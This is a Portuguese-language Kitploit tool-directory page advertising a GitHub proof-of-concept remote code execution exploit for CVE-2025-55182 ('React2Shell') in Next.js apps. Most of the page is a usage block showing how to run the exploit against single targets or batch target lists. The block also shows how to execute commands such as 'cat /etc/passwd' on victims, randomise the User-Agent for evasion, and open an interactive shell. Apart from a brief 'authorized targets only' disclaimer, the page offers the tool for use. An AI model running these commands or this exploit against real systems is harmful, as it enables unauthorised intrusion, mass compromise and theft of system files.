Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-55182-React2Shell-RCE-Shell — CVE-2025-55182 – React2Shell: Proof-of-Concept Remote Code Execution (RCE) exploit for Next.js apps. Features an interactive shell prompt to test and demonstrate the vulnerability in real time. Use for security research and authorized penetration-testing only. | Kitploit
Ferramentas/GitHubGitHub/m4xsec/cve-2025-55182-react2shell-rce-shell
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubm4xsec/cve-2025-55182-react2shell-rce-shell

CVE-2025-55182-React2Shell-RCE-Shell

CVE-2025-55182 – React2Shell: Proof-of-Concept Remote Code Execution (RCE) exploit for Next.js apps. Features an interactive shell prompt to test and demonstrate the vulnerability in real time. Use for security research and authorized penetration-testing only.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
81há 8 mesesAinda não revisado

‼️ CVE-2025-55182 Pwn React2Shell RCE Exploit com Prompt de Shell Interativo e Exploração em Massa

Este repositório fornece uma prova de conceito funcional para CVE-2025-55182, um RCE que afeta algumas implantações do Next.js. A ferramenta abre um prompt de shell interativo na exploração, permitindo que pesquisadores de segurança testem e verifiquem a explorabilidade. Use com responsabilidade e apenas em alvos autorizados.

poc

🕸️ USO:

root@kitploit:~
# Getting Started
git clone https://github.com/M4xSec/CVE-2025-55182-React2Shell-RCE-Shell/
cd /CVE-2025-55182-React2Shell-RCE-Shell/
python3 CVE-2025-55182-exploit.py 

# Single target (default mode)
python3 CVE-2025-55182-exploit.py -u http://target.com

# Target on localhost + specify callback / proxy URL (if applicable)
python3 CVE-2025-55182-exploit.py -u http://localhost:3000 -p http://127.0.0.1:8080

# Use HTTPS target and skip certificate verification (if applicable)
python3 CVE-2025-55182-exploit.py -u https://target.com -k

# Batch mode: supply list of targets (one per line)
python3 CVE-2025-55182-exploit.py -l targets.txt

# Custom command execution on target
python3 CVE-2025-55182-exploit.py -u http://target.com --custom "id"

python3 CVE-2025-55182-exploit.py -u http://target.com --custom "cat /etc/passwd"

python3 CVE-2025-55182-exploit.py -u http://target.com --custom "uname -a" -v

# Provide additional headers if needed (e.g. custom cookies)
python3 CVE-2025-55182-exploit.py -u http://target.com -H "Cookie: session=abc123" --custom "ps aux"

# Batch + custom commands (multiple commands separated with semicolon)
python3 CVE-2025-55182-exploit.py -l targets.txt --custom "whoami; id; pwd"

# Only output the payload without executing (payload-only mode)
python3 CVE-2025-55182-exploit.py -u http://target.com --custom "cat /etc/passwd" --payload-only

# Use a random User-Agent header for evasion / stealth
python3 CVE-2025-55182-exploit.py -u http://target.com --random-agent

python3 CVE-2025-55182-exploit.py -l targets.txt --random-agent -k

# Interactive shell mode (if exploit succeeds)
python3 CVE-2025-55182-exploit.py -u http://target.com --shell
Baixar ferramenta